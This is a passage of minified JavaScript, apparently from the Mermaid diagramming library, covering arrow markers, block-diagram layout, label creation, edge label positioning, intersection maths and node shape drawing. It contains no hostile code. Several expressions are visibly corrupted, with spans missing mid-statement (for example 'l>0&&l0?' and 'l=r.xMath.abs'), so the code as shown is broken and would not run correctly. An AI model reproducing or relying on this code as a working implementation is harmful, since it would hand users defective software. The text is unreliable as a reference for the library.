10").attr("refX",-1).attr("refY",5).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("circle").attr("cx","5").attr("cy","5").attr("r","5").attr("class","arrowMarkerPath").style("stroke-width",1).style("stroke-dasharray","1,0")},"circle"),Nnt=o((t,e,r)=>{t.append("marker").attr("id",r+"_"+e+"-crossEnd").attr("class","marker cross "+e).attr("viewBox","0 0 11 11").attr("refX",12).attr("refY",5.2).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("path").attr("d","M 1,1 l 9,9 M 10,1 l -9,9").attr("class","arrowMarkerPath").style("stroke-width",2).style("stroke-dasharray","1,0"),t.append("marker").attr("id",r+"_"+e+"-crossStart").attr("class","marker cross "+e).attr("viewBox","0 0 11 11").attr("refX",-1).attr("refY",5.2).attr("markerUnits","userSpaceOnUse").attr("markerWidth",11).attr("markerHeight",11).attr("orient","auto").append("path").attr("d","M 1,1 l 9,9 M 10,1 l -9,9").attr("class","arrowMarkerPath").style("stroke-width",2).style("stroke-dasharray","1,0")},"cross"),Mnt=o((t,e,r)=>{t.append("defs").append("marker").attr("id",r+"_"+e+"-barbEnd").attr("refX",19).attr("refY",7).attr("markerWidth",20).attr("markerHeight",14).attr("markerUnits","strokeWidth").attr("orient","auto").append("path").attr("d","M 19,7 L9,13 L14,7 L9,1 Z")},"barb"),Int={extension:Snt,composition:Cnt,aggregation:Ant,dependency:_nt,lollipop:Dnt,point:Lnt,circle:Rnt,cross:Nnt,barb:Mnt},_be=Ent});function Ont(t,e){if(t===0||!Number.isInteger(t))throw new Error("Columns must be an integer !== 0.");if(e<0||!Number.isInteger(e))throw new Error("Position must be a non-negative integer."+e);if(t<0)return{px:e,py:0};if(t===1)return{px:0,py:e};let r=e%t,n=Math.floor(e/t);return{px:r,py:n}}function gz(t,e,r=0,n=0){X.debug("setBlockSizes abc95 (start)",t.id,t?.size?.x,"block width =",t?.size,"siblingWidth",r),t?.size?.width||(t.size={width:r,height:n,x:0,y:0});let i=0,a=0;if(t.children?.length>0){for(let m of t.children)gz(m,e);let s=Pnt(t);i=s.width,a=s.height,X.debug("setBlockSizes abc95 maxWidth of",t.id,":s children is ",i,a);for(let m of t.children)m.size&&(X.debug(`abc95 Setting size of children of ${t.id} id=${m.id} ${i} ${a} ${JSON.stringify(m.size)}`),m.size.width=i*(m.widthInColumns??1)+Ti*((m.widthInColumns??1)-1),m.size.height=a,m.size.x=0,m.size.y=0,X.debug(`abc95 updating size of ${t.id} children child:${m.id} maxWidth:${i} maxHeight:${a}`));for(let m of t.children)gz(m,e,i,a);let l=t.columns??-1,u=0;for(let m of t.children)u+=m.widthInColumns??1;let h=t.children.length;l>0&&l0?Math.min(t.children.length,l):t.children.length;if(m>0){let g=(d-m*Ti-Ti)/m;X.debug("abc95 (growing to fit) width",t.id,d,t.size?.width,g);for(let y of t.children)y.size&&(y.size.width=g)}}t.size={width:d,height:p,x:0,y:0}}X.debug("setBlockSizes abc94 (done)",t.id,t?.size?.x,t?.size?.width,t?.size?.y,t?.size?.height)}function Lbe(t,e){X.debug(`abc85 layout blocks (=>layoutBlocks) ${t.id} x: ${t?.size?.x} y: ${t?.size?.y} width: ${t?.size?.width}`);let r=t.columns??-1;if(X.debug("layoutBlocks columns abc95",t.id,"=>",r,t),t.children&&t.children.length>0){let n=t?.children[0]?.size?.width??0,i=t.children.length*n+(t.children.length-1)*Ti;X.debug("widthOfChildren 88",i,"posX");let a=0;X.debug("abc91 block?.size?.x",t.id,t?.size?.x);let s=t?.size?.x?t?.size?.x+(-t?.size?.width/2||0):-Ti,l=0;for(let u of t.children){let h=t;if(!u.size)continue;let{width:f,height:d}=u.size,{px:p,py:m}=Ont(r,a);if(m!=l&&(l=m,s=t?.size?.x?t?.size?.x+(-t?.size?.width/2||0):-Ti,X.debug("New row in layout for block",t.id," and child ",u.id,l)),X.debug(`abc89 layout blocks (child) id: ${u.id} Pos: ${a} (px, py) ${p},${m} (${h?.size?.x},${h?.size?.y}) parent: ${h.id} width: ${f}${Ti}`),h.size){let y=f/2;u.size.x=s+Ti+y,X.debug(`abc91 layout blocks (calc) px, pyid:${u.id} startingPos=X${s} new startingPosX${u.size.x} ${y} padding=${Ti} width=${f} halfWidth=${y} => x:${u.size.x} y:${u.size.y} ${u.widthInColumns} (width * (child?.w || 1)) / 2 ${f*(u?.widthInColumns??1)/2}`),s=u.size.x+y,u.size.y=h.size.y-h.size.height/2+m*(d+Ti)+d/2+Ti,X.debug(`abc88 layout blocks (calc) px, pyid:${u.id}startingPosX${s}${Ti}${y}=>x:${u.size.x}y:${u.size.y}${u.widthInColumns}(width * (child?.w || 1)) / 2${f*(u?.widthInColumns??1)/2}`)}u.children&&Lbe(u,e);let g=u?.widthInColumns??1;r>0&&(g=Math.min(g,r-a%r)),a+=g,X.debug("abc88 columnsPos",u,a)}}X.debug(`layout blocks (<==layoutBlocks) ${t.id} x: ${t?.size?.x} y: ${t?.size?.y} width: ${t?.size?.width}`)}function Rbe(t,{minX:e,minY:r,maxX:n,maxY:i}={minX:0,minY:0,maxX:0,maxY:0}){if(t.size&&t.id!=="root"){let{x:a,y:s,width:l,height:u}=t.size;a-l/2n&&(n=a+l/2),s+u/2>i&&(i=s+u/2)}if(t.children)for(let a of t.children)({minX:e,minY:r,maxX:n,maxY:i}=Rbe(a,{minX:e,minY:r,maxX:n,maxY:i}));return{minX:e,minY:r,maxX:n,maxY:i}}function Nbe(t){let e=t.getBlock("root");if(!e)return;gz(e,t,0,0),Lbe(e,t),X.debug("getBlocks",JSON.stringify(e,null,2));let{minX:r,minY:n,maxX:i,maxY:a}=Rbe(e),s=a-n,l=i-r;return{x:r,y:n,width:l,height:s}}var Ti,Pnt,Mbe=N(()=>{"use strict";pt();Xt();Ti=ge()?.block?.padding??8;o(Ont,"calculateBlockPosition");Pnt=o(t=>{let e=0,r=0;for(let n of t.children){let{width:i,height:a,x:s,y:l}=n.size??{width:0,height:0,x:0,y:0};X.debug("getMaxChildSize abc95 child:",n.id,"width:",i,"height:",a,"x:",s,"y:",l,n.type),n.type!=="space"&&(i>e&&(e=i/(t.widthInColumns??1)),a>r&&(r=a))}return{width:e,height:r}},"getMaxChildSize");o(gz,"setBlockSizes");o(Lbe,"layoutBlocks");o(Rbe,"findBounds");o(Nbe,"layout")});function Ibe(t,e){e&&t.attr("style",e)}function Bnt(t,e){let r=qe(document.createElementNS("http://www.w3.org/2000/svg","foreignObject")),n=r.append("xhtml:div"),i=t.label,a=t.isNode?"nodeLabel":"edgeLabel",s=n.append("span");return s.html(sr(i,e)),Ibe(s,t.labelStyle),s.attr("class",a),Ibe(n,t.labelStyle),n.style("display","inline-block"),n.style("white-space","nowrap"),n.attr("xmlns","http://www.w3.org/1999/xhtml"),r.node()}var Fnt,ks,RC=N(()=>{"use strict";yr();Xt();gr();pt();zo();tr();o(Ibe,"applyStyle");o(Bnt,"addHtmlLabel");Fnt=o(async(t,e,r,n)=>{let i=t||"";typeof i=="object"&&(i=i[0]);let a=ge();if(vr(a.flowchart.htmlLabels)){i=i.replace(/\\n|\n/g,"
    "),X.debug("vertexText"+i);let s=await k9(Ji(i)),l={isNode:n,label:s,labelStyle:e.replace("fill:","color:")};return Bnt(l,a)}else{let s=document.createElementNS("http://www.w3.org/2000/svg","text");s.setAttribute("style",e.replace("color:","fill:"));let l=[];typeof i=="string"?l=i.split(/\\n|\n|/gi):Array.isArray(i)?l=i:l=[];for(let u of l){let h=document.createElementNS("http://www.w3.org/2000/svg","tspan");h.setAttributeNS("http://www.w3.org/XML/1998/namespace","xml:space","preserve"),h.setAttribute("dy","1em"),h.setAttribute("x","0"),r?h.setAttribute("class","title-row"):h.setAttribute("class","row"),h.textContent=u.trim(),s.appendChild(h)}return s}},"createLabel"),ks=Fnt});var Pbe,$nt,Obe,Bbe=N(()=>{"use strict";pt();Pbe=o((t,e,r,n,i)=>{e.arrowTypeStart&&Obe(t,"start",e.arrowTypeStart,r,n,i),e.arrowTypeEnd&&Obe(t,"end",e.arrowTypeEnd,r,n,i)},"addEdgeMarkers"),$nt={arrow_cross:"cross",arrow_point:"point",arrow_barb:"barb",arrow_circle:"circle",aggregation:"aggregation",extension:"extension",composition:"composition",dependency:"dependency",lollipop:"lollipop"},Obe=o((t,e,r,n,i,a)=>{let s=$nt[r];if(!s){X.warn(`Unknown arrow type: ${r}`);return}let l=e==="start"?"Start":"End";t.attr(`marker-${e}`,`url(${n}#${i}_${a}-${s}${l})`)},"addEdgeMarker")});function NC(t,e){ge().flowchart.htmlLabels&&t&&(t.style.width=e.length*9+"px",t.style.height="12px")}var yz,Wa,$be,zbe,znt,Gnt,Fbe,Gbe,Vbe=N(()=>{"use strict";pt();RC();zo();yr();Xt();tr();gr();X9();O2();Bbe();yz={},Wa={},$be=o(async(t,e)=>{let r=ge(),n=vr(r.flowchart.htmlLabels),i=e.labelType==="markdown"?di(t,e.label,{style:e.labelStyle,useHtmlLabels:n,addSvgBackground:!0},r):await ks(e.label,e.labelStyle),a=t.insert("g").attr("class","edgeLabel"),s=a.insert("g").attr("class","label");s.node().appendChild(i);let l=i.getBBox();if(n){let h=i.children[0],f=qe(i);l=h.getBoundingClientRect(),f.attr("width",l.width),f.attr("height",l.height)}s.attr("transform","translate("+-l.width/2+", "+-l.height/2+")"),yz[e.id]=a,e.width=l.width,e.height=l.height;let u;if(e.startLabelLeft){let h=await ks(e.startLabelLeft,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].startLeft=f,NC(u,e.startLabelLeft)}if(e.startLabelRight){let h=await ks(e.startLabelRight,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=f.node().appendChild(h),d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].startRight=f,NC(u,e.startLabelRight)}if(e.endLabelLeft){let h=await ks(e.endLabelLeft,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].endLeft=f,NC(u,e.endLabelLeft)}if(e.endLabelRight){let h=await ks(e.endLabelRight,e.labelStyle),f=t.insert("g").attr("class","edgeTerminals"),d=f.insert("g").attr("class","inner");u=d.node().appendChild(h);let p=h.getBBox();d.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),f.node().appendChild(h),Wa[e.id]||(Wa[e.id]={}),Wa[e.id].endRight=f,NC(u,e.endLabelRight)}return i},"insertEdgeLabel");o(NC,"setTerminalWidth");zbe=o((t,e)=>{X.debug("Moving label abc88 ",t.id,t.label,yz[t.id],e);let r=e.updatedPath?e.updatedPath:e.originalPath,n=ge(),{subGraphTitleTotalMargin:i}=Pu(n);if(t.label){let a=yz[t.id],s=t.x,l=t.y;if(r){let u=qt.calcLabelPosition(r);X.debug("Moving label "+t.label+" from (",s,",",l,") to (",u.x,",",u.y,") abc88"),e.updatedPath&&(s=u.x,l=u.y)}a.attr("transform",`translate(${s}, ${l+i/2})`)}if(t.startLabelLeft){let a=Wa[t.id].startLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.startLabelRight){let a=Wa[t.id].startRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeStart?10:0,"start_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelLeft){let a=Wa[t.id].endLeft,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_left",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}if(t.endLabelRight){let a=Wa[t.id].endRight,s=t.x,l=t.y;if(r){let u=qt.calcTerminalLabelPosition(t.arrowTypeEnd?10:0,"end_right",r);s=u.x,l=u.y}a.attr("transform",`translate(${s}, ${l})`)}},"positionEdgeLabel"),znt=o((t,e)=>{let r=t.x,n=t.y,i=Math.abs(e.x-r),a=Math.abs(e.y-n),s=t.width/2,l=t.height/2;return i>=s||a>=l},"outsideNode"),Gnt=o((t,e,r)=>{X.debug(`intersection calc abc89: + outsidePoint: ${JSON.stringify(e)} + insidePoint : ${JSON.stringify(r)} + node : x:${t.x} y:${t.y} w:${t.width} h:${t.height}`);let n=t.x,i=t.y,a=Math.abs(n-r.x),s=t.width/2,l=r.xMath.abs(n-e.x)*u){let d=r.y{X.debug("abc88 cutPathAtIntersect",t,e);let r=[],n=t[0],i=!1;return t.forEach(a=>{if(!znt(e,a)&&!i){let s=Gnt(e,n,a),l=!1;r.forEach(u=>{l=l||u.x===s.x&&u.y===s.y}),r.some(u=>u.x===s.x&&u.y===s.y)||r.push(s),i=!0}else n=a,i||r.push(a)}),r},"cutPathAtIntersect"),Gbe=o(function(t,e,r,n,i,a,s){let l=r.points;X.debug("abc88 InsertEdge: edge=",r,"e=",e);let u=!1,h=a.node(e.v);var f=a.node(e.w);f?.intersect&&h?.intersect&&(l=l.slice(1,r.points.length-1),l.unshift(h.intersect(l[0])),l.push(f.intersect(l[l.length-1]))),r.toCluster&&(X.debug("to cluster abc88",n[r.toCluster]),l=Fbe(r.points,n[r.toCluster].node),u=!0),r.fromCluster&&(X.debug("from cluster abc88",n[r.fromCluster]),l=Fbe(l.reverse(),n[r.fromCluster].node).reverse(),u=!0);let d=l.filter(S=>!Number.isNaN(S.y)),p=No;r.curve&&(i==="graph"||i==="flowchart")&&(p=r.curve);let{x:m,y:g}=hw(r),y=Cl().x(m).y(g).curve(p),v;switch(r.thickness){case"normal":v="edge-thickness-normal";break;case"thick":v="edge-thickness-thick";break;case"invisible":v="edge-thickness-thick";break;default:v=""}switch(r.pattern){case"solid":v+=" edge-pattern-solid";break;case"dotted":v+=" edge-pattern-dotted";break;case"dashed":v+=" edge-pattern-dashed";break}let x=t.append("path").attr("d",y(d)).attr("id",r.id).attr("class"," "+v+(r.classes?" "+r.classes:"")).attr("style",r.style),b="";(ge().flowchart.arrowMarkerAbsolute||ge().state.arrowMarkerAbsolute)&&(b=md(!0)),Pbe(x,r,b,s,i);let T={};return u&&(T.updatedPath=l),T.originalPath=r.points,T},"insertEdge")});var Vnt,Ube,Hbe=N(()=>{"use strict";Vnt=o(t=>{let e=new Set;for(let r of t)switch(r){case"x":e.add("right"),e.add("left");break;case"y":e.add("up"),e.add("down");break;default:e.add(r);break}return e},"expandAndDeduplicateDirections"),Ube=o((t,e,r)=>{let n=Vnt(t),i=2,a=e.height+2*r.padding,s=a/i,l=e.width+2*s+r.padding,u=r.padding/2;return n.has("right")&&n.has("left")&&n.has("up")&&n.has("down")?[{x:0,y:0},{x:s,y:0},{x:l/2,y:2*u},{x:l-s,y:0},{x:l,y:0},{x:l,y:-a/3},{x:l+2*u,y:-a/2},{x:l,y:-2*a/3},{x:l,y:-a},{x:l-s,y:-a},{x:l/2,y:-a-2*u},{x:s,y:-a},{x:0,y:-a},{x:0,y:-2*a/3},{x:-2*u,y:-a/2},{x:0,y:-a/3}]:n.has("right")&&n.has("left")&&n.has("up")?[{x:s,y:0},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:s,y:-a},{x:0,y:-a/2}]:n.has("right")&&n.has("left")&&n.has("down")?[{x:0,y:0},{x:s,y:-a},{x:l-s,y:-a},{x:l,y:0}]:n.has("right")&&n.has("up")&&n.has("down")?[{x:0,y:0},{x:l,y:-s},{x:l,y:-a+s},{x:0,y:-a}]:n.has("left")&&n.has("up")&&n.has("down")?[{x:l,y:0},{x:0,y:-s},{x:0,y:-a+s},{x:l,y:-a}]:n.has("right")&&n.has("left")?[{x:s,y:0},{x:s,y:-u},{x:l-s,y:-u},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:l-s,y:-a+u},{x:s,y:-a+u},{x:s,y:-a},{x:0,y:-a/2}]:n.has("up")&&n.has("down")?[{x:l/2,y:0},{x:0,y:-u},{x:s,y:-u},{x:s,y:-a+u},{x:0,y:-a+u},{x:l/2,y:-a},{x:l,y:-a+u},{x:l-s,y:-a+u},{x:l-s,y:-u},{x:l,y:-u}]:n.has("right")&&n.has("up")?[{x:0,y:0},{x:l,y:-s},{x:0,y:-a}]:n.has("right")&&n.has("down")?[{x:0,y:0},{x:l,y:0},{x:0,y:-a}]:n.has("left")&&n.has("up")?[{x:l,y:0},{x:0,y:-s},{x:l,y:-a}]:n.has("left")&&n.has("down")?[{x:l,y:0},{x:0,y:0},{x:l,y:-a}]:n.has("right")?[{x:s,y:-u},{x:s,y:-u},{x:l-s,y:-u},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:l-s,y:-a+u},{x:s,y:-a+u},{x:s,y:-a+u}]:n.has("left")?[{x:s,y:0},{x:s,y:-u},{x:l-s,y:-u},{x:l-s,y:-a+u},{x:s,y:-a+u},{x:s,y:-a},{x:0,y:-a/2}]:n.has("up")?[{x:s,y:-u},{x:s,y:-a+u},{x:0,y:-a+u},{x:l/2,y:-a},{x:l,y:-a+u},{x:l-s,y:-a+u},{x:l-s,y:-u}]:n.has("down")?[{x:l/2,y:0},{x:0,y:-u},{x:s,y:-u},{x:s,y:-a+u},{x:l-s,y:-a+u},{x:l-s,y:-u},{x:l,y:-u}]:[{x:0,y:0}]},"getArrowPoints")});function Unt(t,e){return t.intersect(e)}var qbe,Wbe=N(()=>{"use strict";o(Unt,"intersectNode");qbe=Unt});function Hnt(t,e,r,n){var i=t.x,a=t.y,s=i-n.x,l=a-n.y,u=Math.sqrt(e*e*l*l+r*r*s*s),h=Math.abs(e*r*s/u);n.x{"use strict";o(Hnt,"intersectEllipse");MC=Hnt});function qnt(t,e,r){return MC(t,e,e,r)}var Ybe,Xbe=N(()=>{"use strict";vz();o(qnt,"intersectCircle");Ybe=qnt});function Wnt(t,e,r,n){var i,a,s,l,u,h,f,d,p,m,g,y,v,x,b;if(i=e.y-t.y,s=t.x-e.x,u=e.x*t.y-t.x*e.y,p=i*r.x+s*r.y+u,m=i*n.x+s*n.y+u,!(p!==0&&m!==0&&jbe(p,m))&&(a=n.y-r.y,l=r.x-n.x,h=n.x*r.y-r.x*n.y,f=a*t.x+l*t.y+h,d=a*e.x+l*e.y+h,!(f!==0&&d!==0&&jbe(f,d))&&(g=i*l-a*s,g!==0)))return y=Math.abs(g/2),v=s*h-l*u,x=v<0?(v-y)/g:(v+y)/g,v=a*u-i*h,b=v<0?(v-y)/g:(v+y)/g,{x,y:b}}function jbe(t,e){return t*e>0}var Kbe,Qbe=N(()=>{"use strict";o(Wnt,"intersectLine");o(jbe,"sameSign");Kbe=Wnt});function Ynt(t,e,r){var n=t.x,i=t.y,a=[],s=Number.POSITIVE_INFINITY,l=Number.POSITIVE_INFINITY;typeof e.forEach=="function"?e.forEach(function(g){s=Math.min(s,g.x),l=Math.min(l,g.y)}):(s=Math.min(s,e.x),l=Math.min(l,e.y));for(var u=n-t.width/2-s,h=i-t.height/2-l,f=0;f1&&a.sort(function(g,y){var v=g.x-r.x,x=g.y-r.y,b=Math.sqrt(v*v+x*x),T=y.x-r.x,S=y.y-r.y,w=Math.sqrt(T*T+S*S);return b{"use strict";Qbe();Zbe=Ynt;o(Ynt,"intersectPolygon")});var Xnt,e4e,t4e=N(()=>{"use strict";Xnt=o((t,e)=>{var r=t.x,n=t.y,i=e.x-r,a=e.y-n,s=t.width/2,l=t.height/2,u,h;return Math.abs(a)*s>Math.abs(i)*l?(a<0&&(l=-l),u=a===0?0:l*i/a,h=l):(i<0&&(s=-s),u=s,h=i===0?0:s*a/i),{x:r+u,y:n+h}},"intersectRect"),e4e=Xnt});var $n,xz=N(()=>{"use strict";Wbe();Xbe();vz();Jbe();t4e();$n={node:qbe,circle:Ybe,ellipse:MC,polygon:Zbe,rect:e4e}});function Wl(t,e,r,n){return t.insert("polygon",":first-child").attr("points",n.map(function(i){return i.x+","+i.y}).join(" ")).attr("class","label-container").attr("transform","translate("+-e/2+","+r/2+")")}var Li,ti,bz=N(()=>{"use strict";RC();zo();Xt();yr();gr();tr();Li=o(async(t,e,r,n)=>{let i=ge(),a,s=e.useHtmlLabels||vr(i.flowchart.htmlLabels);r?a=r:a="node default";let l=t.insert("g").attr("class",a).attr("id",e.domId||e.id),u=l.insert("g").attr("class","label").attr("style",e.labelStyle),h;e.labelText===void 0?h="":h=typeof e.labelText=="string"?e.labelText:e.labelText[0];let f=u.node(),d;e.labelType==="markdown"?d=di(u,sr(Ji(h),i),{useHtmlLabels:s,width:e.width||i.flowchart.wrappingWidth,classes:"markdown-node-label"},i):d=f.appendChild(await ks(sr(Ji(h),i),e.labelStyle,!1,n));let p=d.getBBox(),m=e.padding/2;if(vr(i.flowchart.htmlLabels)){let g=d.children[0],y=qe(d),v=g.getElementsByTagName("img");if(v){let x=h.replace(/]*>/g,"").trim()==="";await Promise.all([...v].map(b=>new Promise(T=>{function S(){if(b.style.display="flex",b.style.flexDirection="column",x){let w=i.fontSize?i.fontSize:window.getComputedStyle(document.body).fontSize,A=parseInt(w,10)*5+"px";b.style.minWidth=A,b.style.maxWidth=A}else b.style.width="100%";T(b)}o(S,"setupImage"),setTimeout(()=>{b.complete&&S()}),b.addEventListener("error",S),b.addEventListener("load",S)})))}p=g.getBoundingClientRect(),y.attr("width",p.width),y.attr("height",p.height)}return s?u.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"):u.attr("transform","translate(0, "+-p.height/2+")"),e.centerLabel&&u.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),u.insert("rect",":first-child"),{shapeSvg:l,bbox:p,halfPadding:m,label:u}},"labelHelper"),ti=o((t,e)=>{let r=e.node().getBBox();t.width=r.width,t.height=r.height},"updateNodeBounds");o(Wl,"insertPolygonShape")});var jnt,r4e,n4e=N(()=>{"use strict";bz();pt();Xt();xz();jnt=o(async(t,e)=>{e.useHtmlLabels||ge().flowchart.htmlLabels||(e.centerLabel=!0);let{shapeSvg:n,bbox:i,halfPadding:a}=await Li(t,e,"node "+e.classes,!0);X.info("Classes = ",e.classes);let s=n.insert("rect",":first-child");return s.attr("rx",e.rx).attr("ry",e.ry).attr("x",-i.width/2-a).attr("y",-i.height/2-a).attr("width",i.width+e.padding).attr("height",i.height+e.padding),ti(e,s),e.intersect=function(l){return $n.rect(e,l)},n},"note"),r4e=jnt});function Tz(t,e,r,n){let i=[],a=o(l=>{i.push(l,0)},"addBorder"),s=o(l=>{i.push(0,l)},"skipBorder");e.includes("t")?(X.debug("add top border"),a(r)):s(r),e.includes("r")?(X.debug("add right border"),a(n)):s(n),e.includes("b")?(X.debug("add bottom border"),a(r)):s(r),e.includes("l")?(X.debug("add left border"),a(n)):s(n),t.attr("stroke-dasharray",i.join(" "))}var i4e,To,a4e,Knt,Qnt,Znt,Jnt,eit,tit,rit,nit,iit,ait,sit,oit,lit,cit,uit,hit,fit,dit,pit,s4e,mit,git,o4e,IC,wz,l4e,c4e=N(()=>{"use strict";yr();Xt();gr();pt();Hbe();RC();xz();n4e();bz();i4e=o(t=>t?" "+t:"","formatClass"),To=o((t,e)=>`${e||"node default"}${i4e(t.classes)} ${i4e(t.class)}`,"getClassesFromNode"),a4e=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=i+a,l=[{x:s/2,y:0},{x:s,y:-s/2},{x:s/2,y:-s},{x:0,y:-s/2}];X.info("Question main (Circle)");let u=Wl(r,s,s,l);return u.attr("style",e.style),ti(e,u),e.intersect=function(h){return X.warn("Intersect called"),$n.polygon(e,l,h)},r},"question"),Knt=o((t,e)=>{let r=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),n=28,i=[{x:0,y:n/2},{x:n/2,y:0},{x:0,y:-n/2},{x:-n/2,y:0}];return r.insert("polygon",":first-child").attr("points",i.map(function(s){return s.x+","+s.y}).join(" ")).attr("class","state-start").attr("r",7).attr("width",28).attr("height",28),e.width=28,e.height=28,e.intersect=function(s){return $n.circle(e,14,s)},r},"choice"),Qnt=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=4,a=n.height+e.padding,s=a/i,l=n.width+2*s+e.padding,u=[{x:s,y:0},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:s,y:-a},{x:0,y:-a/2}],h=Wl(r,l,a,u);return h.attr("style",e.style),ti(e,h),e.intersect=function(f){return $n.polygon(e,u,f)},r},"hexagon"),Znt=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,void 0,!0),i=2,a=n.height+2*e.padding,s=a/i,l=n.width+2*s+e.padding,u=Ube(e.directions,n,e),h=Wl(r,l,a,u);return h.attr("style",e.style),ti(e,h),e.intersect=function(f){return $n.polygon(e,u,f)},r},"block_arrow"),Jnt=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:-a/2,y:0},{x:i,y:0},{x:i,y:-a},{x:-a/2,y:-a},{x:0,y:-a/2}];return Wl(r,i,a,s).attr("style",e.style),e.width=i+a,e.height=a,e.intersect=function(u){return $n.polygon(e,s,u)},r},"rect_left_inv_arrow"),eit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:-2*a/6,y:0},{x:i-a/6,y:0},{x:i+2*a/6,y:-a},{x:a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"lean_right"),tit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:2*a/6,y:0},{x:i+a/6,y:0},{x:i-2*a/6,y:-a},{x:-a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"lean_left"),rit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:-2*a/6,y:0},{x:i+2*a/6,y:0},{x:i-a/6,y:-a},{x:a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"trapezoid"),nit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:a/6,y:0},{x:i-a/6,y:0},{x:i+2*a/6,y:-a},{x:-2*a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"inv_trapezoid"),iit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:0,y:0},{x:i+a/2,y:0},{x:i,y:-a/2},{x:i+a/2,y:-a},{x:0,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"rect_right_inv_arrow"),ait=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=i/2,s=a/(2.5+i/50),l=n.height+s+e.padding,u="M 0,"+s+" a "+a+","+s+" 0,0,0 "+i+" 0 a "+a+","+s+" 0,0,0 "+-i+" 0 l 0,"+l+" a "+a+","+s+" 0,0,0 "+i+" 0 l 0,"+-l,h=r.attr("label-offset-y",s).insert("path",":first-child").attr("style",e.style).attr("d",u).attr("transform","translate("+-i/2+","+-(l/2+s)+")");return ti(e,h),e.intersect=function(f){let d=$n.rect(e,f),p=d.x-e.x;if(a!=0&&(Math.abs(p)e.height/2-s)){let m=s*s*(1-p*p/(a*a));m!=0&&(m=Math.sqrt(m)),m=s-m,f.y-e.y>0&&(m=-m),d.y+=m}return d},r},"cylinder"),sit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,"node "+e.classes+" "+e.class,!0),a=r.insert("rect",":first-child"),s=e.positioned?e.width:n.width+e.padding,l=e.positioned?e.height:n.height+e.padding,u=e.positioned?-s/2:-n.width/2-i,h=e.positioned?-l/2:-n.height/2-i;if(a.attr("class","basic label-container").attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("x",u).attr("y",h).attr("width",s).attr("height",l),e.props){let f=new Set(Object.keys(e.props));e.props.borders&&(Tz(a,e.props.borders,s,l),f.delete("borders")),f.forEach(d=>{X.warn(`Unknown node property ${d}`)})}return ti(e,a),e.intersect=function(f){return $n.rect(e,f)},r},"rect"),oit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,"node "+e.classes,!0),a=r.insert("rect",":first-child"),s=e.positioned?e.width:n.width+e.padding,l=e.positioned?e.height:n.height+e.padding,u=e.positioned?-s/2:-n.width/2-i,h=e.positioned?-l/2:-n.height/2-i;if(a.attr("class","basic cluster composite 